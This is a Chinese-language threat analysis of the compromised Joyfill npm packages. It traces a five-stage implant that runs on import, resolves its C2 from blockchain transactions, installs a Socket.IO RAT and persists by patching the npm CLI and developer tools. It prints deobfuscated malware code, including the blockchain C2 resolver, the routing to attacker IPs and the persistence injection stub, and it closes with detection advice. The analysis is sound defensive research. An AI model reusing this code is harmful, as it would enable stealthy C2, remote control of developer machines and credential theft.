Joyfill 的區塊鏈 C2 與 Dead-Drop 機制,
摘要
@joyfill/components
與
@joyfill/layouts
的惡意 beta 版本被發佈至 npm registry。這些版本搭載了一個經過高度混淆、包含五個階段的惡意程式植入模組(Implant)。不同於仰賴
preinstall
或
postinstall
lifecycle hooks 的傳統供應鏈攻擊,此
Payload
是在模組被匯入(import)時執行,藉此繞過
npm install --ignore-scripts
的防護。該植入模組利用公開的區塊鏈基礎設施(Tron、BNB Smart Chain 與 Aptos)作為具韌性的命令與控制(C2)解析機制,部署一個 Socket.IO 遠端存取木馬(RAT),並透過自我重新載入的注入方式,將自身散播至開發者工具的二進位檔中。報告針對攻擊鏈進行逐階段的技術拆解,檢視其混淆與持續性策略,並討論偵測與緩解措施。
1. 簡介
針對套件註冊表的軟體供應鏈攻擊,已從單純的認證劫持(credential hijacking)演變為複雜的多階段惡意程式投放平台。Joyfill npm 命名空間的入侵事件 ,代表了此威脅環境中的一項重大進展,顯示攻擊者如何能將正規的套件散佈管道武器化,同時規避傳統的靜態偵測與執行時期偵測。 [1]
Joyfill 套件是具備表單建立功能的 SDK,其發行歷史可追溯至 2023 年 3 月。攻擊者發佈了惡意的預發行版本——
4.0.0-rc24-2773-beta.4
至
beta.6
(components)以及
0.1.2-2773.beta.0
至
beta.2
(layouts)——並使用
beta
dist-tag,避免覆蓋
latest
發行版本。版本號中的
2773
片段模擬了持續整合(Continuous Integration, CI)的建置編號,使惡意發行版本能融入專案既有的版本命名慣例中。
[1]
此攻擊行動有別於先前 npm 入侵事件的關鍵,在於其架構上的精緻度:使用區塊鏈的 C2 解析器消除了 Payload 中對硬編碼(hardcoded)伺服器位址的依賴;具備戰役感知(campaign-aware)的路由機制可進行多向量散佈追蹤;以及透過 npm CLI 進行的蠕蟲式自我傳播,創造了疊加的感染面向。這些特徵使該攻擊與
astro.config.mjs
及 ViteVenom 等攻擊行動歸屬於同一操作家族,並共享相同的區塊鏈 dead-drop 位址與 C2 基礎設施。
[2]
2. 攻擊概述
攻擊鏈包含五個不同的階段,每個階段僅在記憶體中解密,並透過公開的合法 API 進行通訊。圖 1 說明了從單一
require()
呼叫到工作站認證外洩的端對端流程。
re-executes the malware
圖 1. 從套件安裝到憑證外洩與持續性的端對端攻擊序列。
3. 技術分析
3.1 階段 0:套件注入與混淆
惡意程式碼僅存在於已發佈的發行版套件(distribution bundles)中;在專案儲存庫中並無對應的原始碼變更。在
@joyfill/layouts
中,Payload 被預置(prepend)到
dist/index.cjs.js
與
dist/index.es.js
;而在
@joyfill/components
中,則是被附加(append)到
dist/index.js
、
dist/index.esm.js
與
dist/joyfill.min.js
。
[1]
此注入策略確保了惡意程式會在模組被載入時執行,而非在安裝期間,從而使
--ignore-scripts
失效。
進入點會為 Node.js 基本功能(primitives)建立全域別名,並設定戰役識別碼(campaign identifier)。以下程式碼展示了在正規佈局工具函式(layout utility functions)與模組常數之間所發現的初始注入模式:
- // Stage 0: Initial injection into the distribution bundle.
- // This block is inserted between legitimate utility code (sortLayoutItemsByColRow)
- // and the FieldLayoutTypes constant export. It sets a campaign marker and
- // exposes Node.js 'require' and 'module' onto the global object so that
- // subsequent obfuscated stages can access system modules even when running
- // inside a bundled ES module context where 'require' is not normally available.
- global["!"] = "9-0135-3"; // Campaign marker for the npm vector
- // A seeded character-shuffle function decodes obfuscated string literals.
- // The seed 2857687 drives a deterministic permutation over the input string.
- var _$_1e42 = (function (l, e) {
- var h = l.length;
- var g = [];
- for (var j = 0; j < h; j++) {
- g[j] = l.charAt(j);
- }
- for (var j = 0; j < h; j++) {
- var s = e * (j + 489) + (e % 19597);
- var w = e * (j + 659) + (e % 48014);
- var t = s % h;
- var p = w % h;
- var y = g[t];
- g[t] = g[p];
- g[p] = y;
- e = (s + w) % 4573868;
- }
- return g;
- })('rmcej%otb%', 2857687);
- // After shuffle, _$_1e42[0] resolves to "r", _$_1e42[1] to "object", etc.
- global[_$_1e42[0]] = require; // global["r"] = require
- global[_$_1e42[2]] = module; // global["m"] = module
混淆技術採用了三層嵌套:使用數值種子的字元重新排列、透過
sfL["constructor"]
解析的
Function
建構子呼叫,以及在執行時期解碼的大型字串表。這種設計使依賴特徵碼比對或簡單字串提取的靜態分析工具難以運作。
3.2 階段 1:使用區塊鏈的 C2 解析
Payload 並未嵌入靜態的 C2 網域,而是透過公開的區塊鏈交易來解析其即時伺服器。解析器會向 Tron 網路查詢某個硬編碼錢包位址的最新一筆對外交易,反轉十六進位編碼的備註(memo)欄位以取得 BNB Smart Chain (BSC) 的交易雜湊(hash),接著取得並解密該交易的輸入(input)資料。 [1]
經反混淆後的解析器展示了此種多鏈間接解析方式:
- // Stage 1: Blockchain C2 resolver.
- // This async function queries public blockchain APIs to retrieve an XOR-encrypted
- // payload. The operator can rotate the live C2 at any time by posting a new
- // transaction, keeping the real server out of the package entirely.
- async function resolveC2(xorKey, tronAddr, aptosAddr) {
- let bscTxHash;
- // (1) Primary path: Tron API.
- // Query the latest confirmed outbound transaction from the dead-drop address.
- // raw_data.data contains a hex string; decode, reverse it to get the BSC tx hash.
- try {
- const tronRes = await httpsGet(
- "https://api.trongrid.io/v1/accounts/" + tronAddr +
- "/transactions?only_confirmed=true&only_from=true&limit=1"
- );
- bscTxHash = Buffer.from(tronRes.data[0].raw_data.data, "hex")
- .toString("utf8")
- .split("")
- .reverse()
- .join("");
- if (!bscTxHash) throw new Error("empty_tron_memo");
- } catch (e) {
- // (1b) Fallback path: Aptos API.
- // If Tron is unreachable, query the Aptos account's latest transaction;
- // the recipient address of a 0-value transfer carries the BSC hash.
- const aptosRes = await httpsGet(
- "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" + aptosAddr +
- "/transactions?limit=1"
- );
- bscTxHash = aptosRes[0].payload.arguments[0];
- }
- // (2) BSC RPC: fetch the transaction by hash and extract the input field.
- // The input payload is hex-encoded; strip the 0x prefix, decode to UTF-8,
- // then split on "?.?" — the second segment is the encrypted blob.
- async function fetchBSC(host) {
- const rpcRes = await jsonRpcPost(
- "eth_getTransactionByHash", [bscTxHash], host
- );
- return Buffer.from(rpcRes.result.input.substring(2), "hex")
- .toString("utf8")
- .split("?.?")[1];
- }
- let encrypted;
- try { encrypted = await fetchBSC("bsc-dataseed.binance.org"); }
- catch (e) { encrypted = await fetchBSC("bsc-rpc.publicnode.com"); }
- // (3) Repeating-key XOR decryption using the hardcoded key.
- // Each character is XORed against the corresponding character in the key,
- // wrapping with modulo arithmetic for keys shorter than the ciphertext.
- return [...encrypted].map((ch, k) =>
- String.fromCharCode(
- ch.charCodeAt(0) ^ xorKey.charCodeAt(k % xorKey.length)
- )
- ).join("");
- }
使用公開的區塊鏈 API 作為 dead-drop 提供了兩個操作上的優勢。首先,基礎設施本身就具有韌性:傳統網域的關閉並不會使解析鏈失效,因為攻擊者只需發佈一筆新的鏈上交易即可。其次,在前兩個階段中,唯一硬編碼的網路指標是合法且廣泛使用的區塊鏈端點——
api.trongrid.io
、
bsc-dataseed.binance.org
與
fullnode.mainnet.aptoslabs.com
——這些端點不太可能觸發企業防火牆的警報。
[1]
3.3 階段 2:戰役感知路由
解密後,階段 2 會執行戰役門控的分支邏輯(Campaign-gated branching)。源自階段 0 標記的
campaign tag _V
會選擇三個 C2 端點之一。此機制顯示相同的惡意程式家族是透過多個管道散佈,且各自獨立追蹤:
- // Stage 2: Campaign-aware C2 routing.
- // The global campaign ID "A9-0135-3" (set in Stage 0) determines which
- // C2 infrastructure this victim communicates with. The npm vector uses
- // prefix "A", mapping to 166.88.134.62. Numeric prefixes and default
- // fallbacks route to alternate servers for other distribution channels.
- const campaignId = global["_V"] || "0";
- if (campaignId[0] === "A" || campaignId === "0") {
- // npm campaign branch (Joyfill, ViteVenom, astro.config.mjs)
- global["_t_s"] = "http://166.88.134.62:443"; // SOCKET_URL for RAT
- global["_t_u"] = "http://166.88.134.62"; // UPLOAD_URL for exfiltration
- } else if (!isNaN(parseInt(campaignId))) {
- global["_t_s"] = "http://198.105.127.210:443";
- global["_t_u"] = "http://198.105.127.210";
- } else {
- global["_t_s"] = "http://23.27.202.27:443";
- global["_t_u"] = "http://23.27.202.27:27017";
- }
- // Store secondary blockchain pointers for Stage 3 resolution.
- global["_t_1"] = "TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v"; // Stage 2 Tron address
- global["_t_2"] = "0x533b2dbc...83e0b1"; // Stage 2 Aptos fallback
階段 2 也會透過在全域變數中儲存
__dirname
與
__filename
來保留執行環境,並快取自身的原始碼(
global._t_c
),蠕蟲階段後續會將這些資料用於重新注入。一個次要的、休眠中的分支會在主要
eval()
失敗時,啟動一個分離的
node -e
子程序,確保即使父 Node.js 程序結束後仍能持續運作。
[2]
3.4 階段 3:Socket.IO RAT 與自我修復
解析後的階段 3 Payload 是一個約 77 KB、經 LZString 壓縮的 JavaScript 模組,它會設定一個 Socket.IO 客戶端,連線至戰役所選的 C2 伺服器。連線建立時,它會發送一個包含主機指紋(host Fingerprint)、程序識別碼(process identifier)與戰役標籤(campaign tag)的識別信標(identification beacon)。 [1]
- // Stage 3: Socket.IO beacon on initial connection.
- // The RAT fingerprints the host to distinguish CI runners from developer
- // workstations, then reports the campaign ID so the C2 can apply
- // operator-specific logic (e.g., skip sandboxed environments).
- socket.emit("identify", "client", {
- clientUuid: sessionId, // MD5-derived host/session identifier
- processId: process.pid,
- osType: osType, // platform, CI marker, WSL, root check
- VERSION: "260605", // malware build version
- _V: campaignId, // "A9-0135-3" for the npm vector
- CURRENT_TIMESTAMP: Date.now(),
- FIRST_VISIT_TIME: firstVisit
- });
該 RAT 實作了一個命令處理器,支援主機資訊擷取、任意檔案上傳與下載、目錄列表,以及遠端程式碼執行。特別的是,它會在執行時期進行相依性自我修復:若目標環境中缺少
socket.io-client
或
axios
,它會產生一個
npm install
程序到一個臨時工作目錄,以取得缺少的模組。
[1]
這種自我修復行為減少了植入模組的外部相依性,並提高了其在多樣化目標環境中的可攜性。
具備環境感知能力的閃避邏輯會跳過在已知 CI 與沙箱主機名稱上的執行——包括
github-runner
、
buildbot
、
buildkitsandbox
與
microsoft-standard-WSL2
——這顯示其主要目標是開發者工作站,而非短暫存在的建置容器。
[3]
3.5 持續性與蠕蟲傳播
該木馬透過將一個自我重新載入的程式碼區塊注入開發者經常執行的二進位檔中,來達成持續性。注入目標包括
@vscode/deviceid
模組(由 VS Code、Cursor 與 Antigravity 使用)、Discord 桌面核心模組、GitHub Desktop 的
main.js
,以及最關鍵的,全域 npm CLI 的
npm/lib/cli.js
。
[1]
- // Persistence injection template (deobfuscated).
- // The loader stub is written into each target file and guarded by comment
- // sentinels to ensure idempotency — reinjection is skipped if the markers
- // are already present. The global 'r' and 'm' aliases allow the stub to
- // bootstrap itself even inside restricted execution contexts.
- const loaderStub =
- "/*C250617A*/" +
- "global['_V']='" + campaignId + "';" +
- "global['r']=require;" +
- "global['m']=module;" +
- "<shuffled loader + _t_0 bootstrap>" +
- "…-eval';" +
- "/*C260512A*/";
- // Injection targets (platform-specific paths resolved at runtime):
- // VS Code / Cursor / Antigravity:
- // …/resources/app/node_modules/@vscode/deviceid/dist/index.js
- // Discord:
- // modules/discord_desktop_core[-1]/discord_desktop_core/index.js
- // GitHub Desktop:
- // resources/app/main.js
- // npm CLI (the supply-chain amplifier):
- // <npm root -g>/npm/lib/cli.js ← resolved via `npm root -g` and execPath
修補全域 npm CLI 建立了一個複合式的感染機制:後續每次執行
npm
命令都會重新執行惡意程式,且從受駭機器建置或發佈的任何套件都可能將載入器繼續傳播出去,從而有效完成
蠕蟲循環(Worm loop)
。
[1]
此技術呼應了 Shai-Hulud 攻擊行動中觀察到的自我傳播行為,在該行動中,遭入侵的 npm Token 被用來在維護者的套件組合中重新發佈惡意版本。
[4]
此外,該木馬會在
%USERPROFILE%\\.npm
或
/tmp/.npm
下部署一個 Python 認證竊取程式,用於收集瀏覽器資料、擴充錢包、密碼管理器、Git 與 GitHub CLI 認證,以及作業系統鑰匙圈(keychain),然後將它們打包成一個加密封存檔以便外洩。
[1]
4. 比較脈絡
針對 npm 的供應鏈攻擊已展現出明顯朝向更高精緻度發展的軌跡。早期的攻擊事件,如
ua-parser-js
入侵事件,依賴 preinstall 腳本來部署挖礦軟體與銀行木馬。
[5]
較近期的攻擊行動——包括 Scavenger、Shai-Hulud 與 Joyfill 入侵事件——已轉向在匯入時期執行、混淆的多階段載入器,以及使用區塊鏈的 C2 解析。Joyfill 攻擊更具體地將區塊鏈 dead-drop 與戰役感知路由及開發者工具持續性相結合,創造了一個自我維持的感染鏈,超越了最初被入侵的套件本身。
5. 偵測與緩解
防禦匯入時期的植入模組需要將安全控制措施擴展到安裝腳本掃描之外。組織應監控來自 Node.js 程序的異常對外連線至區塊鏈 API、檢查發行版套件中是否有非預期的混淆區塊,並實施發佈冷卻期(cooldown period),阻止新發佈的版本在社群審查前進入相依性樹。 [1] 在開發者工作站上,對頻繁執行的二進位檔(如 npm CLI 與 VS Code 核心模組)進行完整性檢查,可以偵測未經授權的修改。認證輪替(Credential rotation)對於任何載入過受駭版本的環境至關重要,因為 Python 竊取程式針對的是工作站中儲存的機密,而非 CI 範圍內的 Token。
6. 結論
Joyfill npm 入侵事件展示了一個成熟的多階段惡意程式架構,它利用了開源套件註冊表固有的信任模型。透過將 Payload 嵌入發行版套件而非原始碼、利用公開區塊鏈基礎設施實現 C2 韌性,並透過開發者工具二進位檔進行傳播,該攻擊同時實現了隱蔽性與持續性。與先前攻擊行動共享的基礎設施,突顯了供應鏈威脅的工業化趨勢,即可重複使用的惡意程式框架被部署到多個正規套件中。偵測策略必須同步演進,強調執行時期的行為分析、區塊鏈交易監控,以及端點完整性驗證,而非僅依賴靜態特徵碼比對。
參考文獻
- Compromised npm Packages: @joyfill/components and @joyfill/layouts Ship an Obfuscated Remote Access Trojan
- Joyfill npm Packages Compromised with Blockchain C2 Loader
- Two Compromised joyfill npm Packages Run RAT When Imported Into Node.js
- 揭露!Shai-Hulud 供應鏈攻擊的蠕蟲式傳播與檔案系統掃描技術
- Node.js 後門攻擊深度剖析:YaNB 威脅與防禦策略